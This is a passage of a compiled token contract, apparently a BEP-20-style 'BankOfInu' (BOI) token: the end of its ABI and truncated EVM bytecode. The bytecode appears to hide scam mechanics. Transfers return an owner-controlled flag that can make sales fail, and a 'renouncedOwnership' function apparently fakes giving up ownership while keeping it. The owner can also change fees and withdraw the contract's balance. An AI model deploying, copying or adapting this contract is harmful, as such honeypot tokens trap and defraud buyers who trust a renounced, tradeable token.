,"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renouncedOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValuation","type":"uint256"}],"name":"setValuation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"standartValuation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"theRewardTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620000be919062000a57565b64174876e800620000d0919062000b94565b600d55600d54600019620000e5919062000c7b565b600019620000f4919062000bf5565b600e556002600f5561012c60105560405180608001604052806000815260200160058152602001600081526020016000815250601860008201518160000155602082015181600101556040820151816002015560608201518160030155505060405180608001604052806000815260200160058152602001600081526020016000815250601c6000820151816000015560208201518160010155604082015181600201556060820151816003015550506001602560146101000a81548160ff0219169083151502179055506001602560166101000a81548160ff0219169083151502179055506001602560176101000a81548160ff0219169083151502179055503480156200020257600080fd5b506000620002156200091660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600e5460036000620002ca6200091e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200036857600080fd5b505afa1580156200037d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a391906200095e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200040657600080fd5b505afa1580156200041b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044191906200095e565b6040518363ffffffff1660e01b815260040162000460929190620009b2565b602060405180830381600087803b1580156200047b57600080fd5b505af115801562000490573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b691906200095e565b602560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660006200054d6200091e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600073e853889c8c7a03c1f7935b87355dc58ecd3d92b073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a309080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008a66200091e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620009079190620009df565b60405180910390a35062000d3d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050620009588162000d23565b92915050565b60006020828403121562000977576200097662000d11565b5b6000620009878482850162000947565b91505092915050565b6200099b8162000c30565b82525050565b620009ac8162000c64565b82525050565b6000604082019050620009c9600083018562000990565b620009d8602083018462000990565b9392505050565b6000602082019050620009f66000830184620009a1565b92915050565b6000808291508390505b600185111562000a4e5780860481111562000a265762000a2562000cb3565b5b600185161562000a365780820291505b808102905062000a468562000d16565b945062000a06565b94509492505050565b600062000a648262000c64565b915062000a718362000c6e565b925062000aa07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000aa8565b905092915050565b60008262000aba576001905062000b8d565b8162000aca576000905062000b8d565b816001811462000ae3576002811462000aee5762000b24565b600191505062000b8d565b60ff84111562000b035762000b0262000cb3565b5b8360020a91508482111562000b1d5762000b1c62000cb3565b5b5062000b8d565b5060208310610133831016604e8410600b841016171562000b5e5782820a90508381111562000b585762000b5762000cb3565b5b62000b8d565b62000b6d8484846001620009fc565b9250905081840481111562000b875762000b8662000cb3565b5b81810290505b9392505050565b600062000ba18262000c64565b915062000bae8362000c64565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000bea5762000be962000cb3565b5b828202905092915050565b600062000c028262000c64565b915062000c0f8362000c64565b92508282101562000c255762000c2462000cb3565b5b828203905092915050565b600062000c3d8262000c44565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600062000c888262000c64565b915062000c958362000c64565b92508262000ca85762000ca762000ce2565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b60008160011c9050919050565b62000d2e8162000c30565b811462000d3a57600080fd5b50565b614ff08062000d4d6000396000f3fe60806040526004361061028c5760003560e01c806370a082311161015a578063a8be9a58116100c1578063e7e645191161007a578063e7e6451914610a35578063ea2f0b3714610a72578063ecbde40c14610a9b578063f2fde38b14610ad8578063f77fb6b914610b01578063f921400514610b2a57610293565b8063a8be9a58146108ff578063a9059cbb1461093c578063bc0ad5a314610979578063c49b9a80146109a4578063cc5006b3146109cd578063dd62ed3e146109f857610293565b80638da5cb5b116101135780638da5cb5b146107d657806395d89b41146108015780639b26c9231461082c5780639ba5e4d514610857578063a39801c614610885578063a457c2d7146108c257610293565b806370a08231146106bd578063713898cd146106fa57806373cafdc214610728578063786564c41461075657806379fdd8321461077f5780638b7afe2e146107aa57610293565b80633685d419116101fe5780634549b039116101b75780634549b0391461059b5780634a74bb02146105d857806351ecfeae1461060357806352390c021461062c57806352892884146106555780635342acb41461068057610293565b80633685d4191461048f578063370f0a60146104b857806339509351146104e15780633ccfd60b1461051e5780634359a87114610535578063437823ec1461057257610293565b806323b872dd1161025057806323b872dd1461036d578063275d53ce146103aa5780632d838119146103d3578063313ce5671461041057806331b72ff01461043b57806334ef80bc1461046657610293565b806306fdde0314610298578063095ea7b3146102c357806316a9de141461030057806318160ddd1461032b57806320365d5f1461035657610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610b55565b6040516102ba9190614673565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190614243565b610b92565b6040516102f7919061463d565b60405180910390f35b34801561030c57600080fd5b50610315610bb0565b6040516103229190614622565b60405180910390f35b34801561033757600080fd5b50610340610bd6565b60405161034d9190614835565b60405180910390f35b34801561036257600080fd5b5061036b610be0565b005b34801561037957600080fd5b50610394600480360381019061038f91906141f0565b610d58565b6040516103a1919061463d565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190614283565b610e3f565b005b3480156103df57600080fd5b506103fa60048036038101906103f591906142b0565b610ed8565b6040516104079190614835565b60405180910390f35b34801561041c57600080fd5b50610425610f3f565b60405161043291906148be565b60405180910390f35b34801561044757600080fd5b50610450610f48565b60405161045d9190614835565b60405180910390f35b34801561047257600080fd5b5061048d600480360381019061048891906142b0565b610f4e565b005b34801561049b57600080fd5b506104b660048036038101906104b19190614183565b610fd4565b005b3480156104c457600080fd5b506104df60048036038101906104da9190614183565b61130a565b005b3480156104ed57600080fd5b5061050860048036038101906105039190614243565b61155b565b604051610515919061463d565b60405180910390f35b34801561052a57600080fd5b50610533611607565b005b34801561054157600080fd5b5061055c60048036038101906105579190614183565b6116d2565b6040516105699190614835565b60405180910390f35b34801561057e57600080fd5b5061059960048036038101906105949190614183565b61171b565b005b3480156105a757600080fd5b506105c260048036038101906105bd91906142dd565b6117f2565b6040516105cf9190614835565b60405180910390f35b3480156105e457600080fd5b506105ed611878565b6040516105fa919061463d565b60405180910390f35b34801561060f57600080fd5b5061062a60048036038101906106259190614370565b61188b565b005b34801561063857600080fd5b50610653600480360381019061064e9190614183565b611935565b005b34801561066157600080fd5b5061066a611bd0565b6040516106779190614622565b60405180910390f35b34801561068c57600080fd5b506106a760048036038101906106a29190614183565b611bf6565b6040516106b4919061463d565b60405180910390f35b3480156106c957600080fd5b506106e460048036038101906106df9190614183565b611c4c565b6040516106f19190614835565b60405180910390f35b34801561070657600080fd5b5061070f611d37565b60405161071f9493929190614879565b60405180910390f35b34801561073457600080fd5b5061073d611d55565b60405161074d9493929190614879565b60405180910390f35b34801561076257600080fd5b5061077d60048036038101906107789190614370565b611d73565b005b34801561078b57600080fd5b50610794611e1d565b6040516107a19190614658565b60405180910390f35b3480156107b657600080fd5b506107bf611e43565b6040516107cd929190614850565b60405180910390f35b3480156107e257600080fd5b506107eb611e55565b6040516107f89190614622565b60405180910390f35b34801561080d57600080fd5b50610816611e7e565b6040516108239190614673565b60405180910390f35b34801561083857600080fd5b50610841611ebb565b60405161084e9190614835565b60405180910390f35b34801561086357600080fd5b5061086c611ec1565b60405161087c9493929190614879565b60405180910390f35b34801561089157600080fd5b506108ac60048036038101906108a7919061431d565b611edf565b6040516108b9919061463d565b60405180910390f35b3480156108ce57600080fd5b506108e960048036038101906108e49190614243565b611f9d565b6040516108f6919061463d565b60405180910390f35b34801561090b57600080fd5b5061092660048036038101906109219190614183565b61206a565b6040516109339190614835565b60405180910390f35b34801561094857600080fd5b50610963600480360381019061095e9190614243565b612082565b604051610970919061463d565b60405180910390f35b34801561098557600080fd5b5061098e6120ae565b60405161099b919061463d565b60405180910390f35b3480156109b057600080fd5b506109cb60048036038101906109c69190614283565b6120c1565b005b3480156109d957600080fd5b506109e2612191565b6040516109ef9190614622565b60405180910390f35b348015610a0457600080fd5b50610a1f6004803603810190610a1a91906141b0565b6121b7565b604051610a2c9190614835565b60405180910390f35b348015610a4157600080fd5b50610a5c6004803603810190610a579190614183565b61223e565b604051610a699190614835565b60405180910390f35b348015610a7e57600080fd5b50610a996004803603810190610a949190614183565b612287565b005b348015610aa757600080fd5b50610ac26004803603810190610abd9190614183565b61235e565b604051610acf9190614835565b60405180910390f35b348015610ae457600080fd5b50610aff6004803603810190610afa9190614183565b612376565b005b348015610b0d57600080fd5b50610b286004803603810190610b239190614283565b61251f565b005b348015610b3657600080fd5b50610b3f6125b8565b604051610b4c9190614622565b60405180910390f35b60606040518060400160405280600981526020017f42616e6b4f66496e750000000000000000000000000000000000000000000000815250905090565b6000610ba6610b9f6125de565b84846125e6565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b610be86125de565b73ffffffffffffffffffffffffffffffffffffffff16610c06611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390614795565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610d658484846127b1565b610e2684610d716125de565b610e2185604051806060016040528060288152602001614f6e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dd76125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d19092919063ffffffff16565b6125e6565b602560169054906101000a900460ff1690509392505050565b610e476125de565b73ffffffffffffffffffffffffffffffffffffffff16610e65611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290614795565b60405180910390fd5b80602560166101000a81548160ff02191690831515021790555050565b6000600e54821115610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f16906146d5565b60405180910390fd5b6000610f29612a26565b90508083610f37919061494b565b915050919050565b60006009905090565b60105481565b610f566125de565b73ffffffffffffffffffffffffffffffffffffffff16610f74611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190614795565b60405180910390fd5b8060108190555050565b610fdc6125de565b73ffffffffffffffffffffffffffffffffffffffff16610ffa611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104790614795565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d390614755565b60405180910390fd5b60005b600a80549050811015611306578173ffffffffffffffffffffffffffffffffffffffff16600a828154811061111757611116614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156112f357600a6001600a8054905061117291906149d6565b8154811061118357611182614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a82815481106111c2576111c1614b9e565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a8054806112b9576112b8614b6f565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611306565b80806112fe90614ac8565b9150506110df565b5050565b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114eb576001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561148757611443600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611557816001612a4a90919063ffffffff16565b5050565b60006115fd6115686125de565b8484600560006115766125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f891906148f5565b6125e6565b6001905092915050565b61160f6125de565b73ffffffffffffffffffffffffffffffffffffffff1661162d611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167a90614795565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116ce573d6000803e3d6000fd5b5050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117236125de565b73ffffffffffffffffffffffffffffffffffffffff16611741611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178e90614795565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600d54831115611839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183090614775565b60405180910390fd5b8161185a57600061184b846001612a7a565b90508060000151915050611872565b6000611867846001612a7a565b905080602001519150505b92915050565b602560179054906101000a900460ff1681565b6118936125de565b73ffffffffffffffffffffffffffffffffffffffff166118b1611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90614795565b60405180910390fd5b8360186000018190555082601860010181905550816018600201819055508060186003018190555050505050565b61193d6125de565b73ffffffffffffffffffffffffffffffffffffffff1661195b611e55565b73ffffffffffffffffffffffffffffffffffffffff16146119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a890614795565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3590614735565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611b1257611ace600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ce757600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611d32565b611d2f600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b90505b919050565b601c8060000154908060010154908060020154908060030154905084565b60188060000154908060010154908060020154908060030154905084565b611d7b6125de565b73ffffffffffffffffffffffffffffffffffffffff16611d99611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de690614795565b60405180910390fd5b83601c6000018190555082601c6001018190555081601c6002018190555080601c6003018190555050505050565b602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60168060000154908060010154905082565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f424f490000000000000000000000000000000000000000000000000000000000815250905090565b600f5481565b60128060000154908060010154908060020154908060030154905084565b600080841415611ef25760009050611f96565b60008442611f0091906149d6565b9050601054811415611f16576001915050611f96565b6000811415611f7f578273ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f7e576000915050611f96565b5b838111611f90576001915050611f96565b60009150505b9392505050565b6000612060611faa6125de565b8461205b85604051806060016040528060258152602001614f966025913960056000611fd46125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d19092919063ffffffff16565b6125e6565b6001905092915050565b60086020528060005260406000206000915090505481565b600061209661208f6125de565b84846127b1565b602560149054906101000a900460ff16905092915050565b602560149054906101000a900460ff1681565b6120c96125de565b73ffffffffffffffffffffffffffffffffffffffff166120e7611e55565b73ffffffffffffffffffffffffffffffffffffffff161461213d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213490614795565b60405180910390fd5b80602560176101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051612186919061463d565b60405180910390a150565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61228f6125de565b73ffffffffffffffffffffffffffffffffffffffff166122ad611e55565b73ffffffffffffffffffffffffffffffffffffffff1614612303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fa90614795565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60096020528060005260406000206000915090505481565b61237e6125de565b73ffffffffffffffffffffffffffffffffffffffff1661239c611e55565b73ffffffffffffffffffffffffffffffffffffffff16146123f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e990614795565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612462576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612459906146f5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6125276125de565b73ffffffffffffffffffffffffffffffffffffffff16612545611e55565b73ffffffffffffffffffffffffffffffffffffffff161461259b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259290614795565b60405180910390fd5b80602560146101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264d90614815565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126bd90614715565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473fffffffffffffffffffffffffffffffffff